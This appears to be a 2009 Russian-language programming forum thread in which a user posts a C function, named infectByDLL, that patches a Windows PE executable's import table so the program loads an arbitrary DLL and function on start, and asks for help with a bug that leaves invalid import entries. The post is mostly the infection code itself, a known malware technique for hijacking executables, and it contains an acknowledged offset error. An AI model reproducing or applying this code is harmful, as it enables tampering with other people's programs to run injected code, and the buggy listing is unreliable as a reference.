Посмотрите код

Тема в разделе "LANGS.C", создана пользователем punxer, 17 янв 2009.

  1. punxer

    punxer Андрей

    Публикаций:
    0
    Регистрация:
    16 окт 2006
    Сообщения:
    1.327
    Адрес:
    Ржев
    Код (Text):
    1. #include "main.h"
    2.  
    3. int infectByDLL (PCHAR path,PCHAR OUR_DLL_NAME,PCHAR OUR_FUNC_NAME )
    4. {
    5.     IMAGE_DOS_HEADER* mz_head;
    6.     IMAGE_FILE_HEADER* pe_head;
    7.     IMAGE_OPTIONAL_HEADER* pe_opt_head;
    8.     IMAGE_SECTION_HEADER* sect;
    9.     HANDLE hFile=NULL;
    10.     HANDLE hMap=NULL;
    11.     PVOID hMapFile=NULL;
    12.     DWORD size=0;
    13.     DWORD sizehi=0;
    14.     char pe[] = "PE\0\0";
    15.     PVOID tmp=NULL;
    16.  
    17.    
    18.     hFile=CreateFile(path, GENERIC_READ | GENERIC_WRITE,
    19.                         FILE_SHARE_WRITE, NULL,
    20.                         OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    21.     if (!hFile)
    22.     {
    23.         printf("File open failed");
    24.         return 0;
    25.     }
    26.  
    27.     hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);
    28.     if (!hMap)
    29.     {
    30.         printf("Map object is not created");
    31.         CloseHandle(hFile);
    32.         return 0;
    33.     }
    34.     hMapFile=MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0,0,0);
    35.     if (!hMapFile)
    36.     {
    37.         printf("File Mapping not success");
    38.         CloseHandle(hMap);
    39.         CloseHandle(hFile);
    40.         return 0;
    41.     }
    42.     mz_head=(IMAGE_DOS_HEADER*)hMapFile;
    43.     pe_head =(IMAGE_FILE_HEADER*)((char*)hMapFile + mz_head->e_lfanew);
    44.  
    45.  
    46.     if ( strcmp(pe,(const char *)pe_head) != 0)
    47.         {
    48.             printf("It is not PE File");
    49.             UnmapViewOfFile(hMapFile);
    50.             CloseHandle(hMap);
    51.             CloseHandle(hFile);
    52.             return 0;
    53.         }
    54.     pe_head =(IMAGE_FILE_HEADER*)((char*)hMapFile + mz_head->e_lfanew+sizeof(DWORD));
    55.     pe_opt_head =( IMAGE_OPTIONAL_HEADER*)((DWORD)pe_head + sizeof(IMAGE_FILE_HEADER));
    56.    
    57.     int sect_num = -1; 
    58.     DWORD ImportRVA = pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    59.     sect = (IMAGE_SECTION_HEADER*)((DWORD)pe_opt_head + sizeof(IMAGE_OPTIONAL_HEADER));
    60.    
    61.     for ( int i=0; i<pe_head->NumberOfSections; i++)
    62.     {
    63.         if ( ImportRVA < sect->VirtualAddress )
    64.         {
    65.             sect--;
    66.             sect_num=i-1;
    67.             break;
    68.         }
    69.         sect++;
    70.      }
    71.     if (sect_num == -1)
    72.     {
    73.         printf("Import Data not presented");
    74.         UnmapViewOfFile(hMapFile);
    75.         CloseHandle(hMap);
    76.         CloseHandle(hFile);
    77.         return 0;
    78.     }
    79.     sect++;
    80.     DWORD AfterImportSecBeg = (DWORD)hMapFile + sect->PointerToRawData;
    81.     sect--;
    82.     printf("Import table:");
    83.  
    84.     LPVOID ImportSecBeg;
    85.     ImportSecBeg = (LPVOID)((DWORD)hMapFile + sect->PointerToRawData);
    86.  
    87.     LPVOID ImportTable;
    88.     ImportTable =   (LPVOID)(ImportRVA - sect->VirtualAddress);
    89.     ImportTable =   (LPVOID)((DWORD)ImportSecBeg+ (DWORD)ImportTable);
    90.  
    91.     IMAGE_IMPORT_DESCRIPTOR *DLLInfo = (IMAGE_IMPORT_DESCRIPTOR *)ImportTable;
    92.     PCHAR DLLName;
    93.     DWORD DLLCounter = 0;
    94.     printf("Import Table Entries:\n");
    95.     while (DLLInfo->Name != NULL)
    96.     {
    97.         DLLCounter++;
    98.         DLLName = (PCHAR)((DWORD)DLLInfo->Name - sect->VirtualAddress);
    99.         DLLName = (PCHAR)((DWORD)ImportSecBeg + (DWORD)DLLName);
    100.         printf("%d:->%s\n",DLLCounter,DLLName);
    101.         DLLInfo++;
    102.     }
    103.  
    104.     //
    105.     //Counting needed size in bytes for new import table
    106.     DWORD NewImportTableSize = sizeof(IMAGE_IMPORT_DESCRIPTOR)*(DLLCounter+2);
    107.  
    108.     //Получаем файловый указатель на конец секции импорта
    109.     LPBYTE pos;
    110.     pos = (LPBYTE)AfterImportSecBeg-1;
    111.  
    112.     DWORD maxFree = 0;
    113.     DWORD prevPtr;
    114.     LPBYTE FreePtr = NULL;
    115.  
    116.     //Ищем свободное место в секции...
    117.     while ( pos >= ImportSecBeg )
    118.       {
    119.       if ( *(BYTE *)pos == 0x00  )
    120.          {
    121.          prevPtr =(DWORD) pos;
    122.          while (*(BYTE *)pos == 0x00)
    123.             pos -= 4;
    124.          if ( ((DWORD)prevPtr - (DWORD)pos) > maxFree )
    125.             {
    126.             maxFree = ((DWORD)prevPtr - (DWORD)pos);
    127.             FreePtr = pos + 4;
    128.             }
    129.          }
    130.       pos -= 4;
    131.       }
    132.  
    133.    //Модифицируем полученный указатель на свободный блок, т.к.
    134.    //он может указывать на завершающий нулевой DWORD какой-либо структуры
    135.    FreePtr +=4;
    136.    maxFree -=4;
    137.  
    138.     printf("Free Size Ptr:->%x\n",FreePtr-(LPBYTE)hMapFile);
    139.     printf("Free Size:->%d\n",maxFree);
    140.     printf("Analizing free size...\n");
    141.    //Проверяем объем свободного места
    142.     if ( maxFree < NewImportTableSize )
    143.     {
    144.         printf("Don't have enough free size\n");
    145.         UnmapViewOfFile(hMapFile);
    146.         CloseHandle(hMap);
    147.         CloseHandle(hFile);
    148.         return 0;
    149.     }
    150.     else
    151.         printf("Free size presented\n");
    152.  
    153.  
    154. ///////
    155.  
    156.    //1. Копируем старую таблицу импорта в новое место
    157.    memcpy(FreePtr, ImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR)*DLLCounter);
    158.  
    159.    //2.1 Сохраняем строку с именем нашей DLL в старой таблице импорта
    160.    //(для экономии места)
    161.    memcpy(ImportTable, OUR_DLL_NAME, lstrlenA(OUR_DLL_NAME));
    162.  
    163.    BYTE* zeroPtr;
    164.    zeroPtr =(BYTE*) ((DWORD)ImportTable + lstrlenA(OUR_DLL_NAME));
    165.  
    166.    //2.2 Сохраняем структуру IMAGE_IMPORT_BY_NAME в старой таблице импорта.
    167.    //(так же для экономии места)
    168.    IMAGE_IMPORT_BY_NAME myName;
    169.    myName.Hint = 0x00;
    170.    myName.Name[0] = 0x00;
    171.  
    172.    WORD Hint = 0;
    173.    char* myFuncName = OUR_FUNC_NAME;
    174.  
    175.    hackRec patch;
    176.    patch.ZeroDword = NULL;
    177.    patch.IAT = ImportRVA + lstrlenA(OUR_DLL_NAME) + sizeof(hackRec);
    178.    patch.IATEnd = NULL;
    179.  
    180.    DWORD IIBN_Table;
    181.  
    182.    memcpy(zeroPtr, &patch, sizeof(patch));
    183.    zeroPtr += sizeof(patch);
    184.    memcpy(zeroPtr, &Hint, sizeof(WORD));
    185.    zeroPtr += sizeof(WORD);
    186.    memcpy(zeroPtr, myFuncName, lstrlenA(myFuncName)+1 );
    187.    zeroPtr += lstrlenA(myFuncName)+1;
    188.    memcpy(zeroPtr, &myName, sizeof(IMAGE_IMPORT_BY_NAME) );
    189.  
    190.    //2.3. Заполняем структуру IMAGE_IMPORT_BY_NAME данными о нашей DLL
    191.    IMAGE_IMPORT_DESCRIPTOR myDLL;
    192.  
    193.    //Вычисляем указатель на нашу структуру IMAGE_IMPORT_BY_NAME:
    194.    //это адрес начала старой таблицы импорта + длинна строки с именем
    195.    //нашей DLL + нулевой DWORD
    196.    IIBN_Table = ImportRVA + lstrlenA( OUR_DLL_NAME ) + sizeof(DWORD);
    197.  
    198.    //Указатель на таблицу Characteristics
    199.    myDLL.Characteristics = IIBN_Table;
    200.    myDLL.TimeDateStamp = NULL;
    201.    myDLL.ForwarderChain = NULL;                                  
    202.  
    203.    //Записываем адрес строки с именем файла нашей DLL
    204.    myDLL.Name = ImportRVA;
    205.  
    206.    //Указатель на таблицу FirstThunk
    207.    myDLL.FirstThunk = IIBN_Table;
    208.  
    209.    //Записываем в новую таблицу импорта запись о нашей DLL
    210.    LPBYTE OldFreePtr = FreePtr;
    211.    
    212.    FreePtr +=sizeof(IMAGE_IMPORT_DESCRIPTOR)*DLLCounter;
    213.    memcpy(FreePtr, &myDLL, sizeof(IMAGE_IMPORT_DESCRIPTOR));
    214.  
    215.    //Создаем "финальную" нулевую запись со всеми полями равными нулю
    216.    myDLL.Characteristics = NULL;
    217.    myDLL.TimeDateStamp = NULL;
    218.    myDLL.ForwarderChain = NULL;
    219.    myDLL.Name = NULL;
    220.    myDLL.FirstThunk = NULL;
    221.    [b]
    222.    //И записываем её в конец новой таблицы импорта.
    223.    FreePtr +=sizeof(IMAGE_IMPORT_DESCRIPTOR)*DLLCounter; //почему так????  а не без умножения?
    224.    [/b]
    225.    memcpy(FreePtr, &myDLL, sizeof(IMAGE_IMPORT_DESCRIPTOR));
    226.  
    227.    //3. Устанавливаем указатель на нашу таблицу импорта.
    228.    // Вычисляем RVA нашей таблицы
    229.    DWORD NewImportTableRVA = (DWORD)OldFreePtr - (DWORD)ImportSecBeg +
    230.                               sect->VirtualAddress;
    231.  
    232.    // Заносим его в DataDirectory
    233.    pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress =
    234.                               NewImportTableRVA;
    235.    pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size =
    236.             (DLLCounter +1) * sizeof(IMAGE_IMPORT_DESCRIPTOR);
    237.  
    238.    //Additional changes 28.11.2002
    239.    pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
    240.    pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
    241.  
    242.    pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;
    243.    pe_opt_head->DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
    244.  
    245.     printf("with God help it must be working...\n");
    246.     getch();
    247. //////////////////
    248.  
    249.     UnmapViewOfFile(hMapFile);
    250.     CloseHandle(hMap);
    251.     CloseHandle(hFile);
    252.     return 0;
    253. }
    Пишу именно сюда, потому что алгоритм верен и импорт добавляется, но часто в таблицу импорта добавляются невалидные элементы вслед за валидным, типа размер неправильно где-то считается... суть не в трояне и не в вирусе, а в понимании... код переделан с исходника. пытаюсь разобраться.
     
  2. punxer

    punxer Андрей

    Публикаций:
    0
    Регистрация:
    16 окт 2006
    Сообщения:
    1.327
    Адрес:
    Ржев
    sorry! Инет заглючил. Must Del!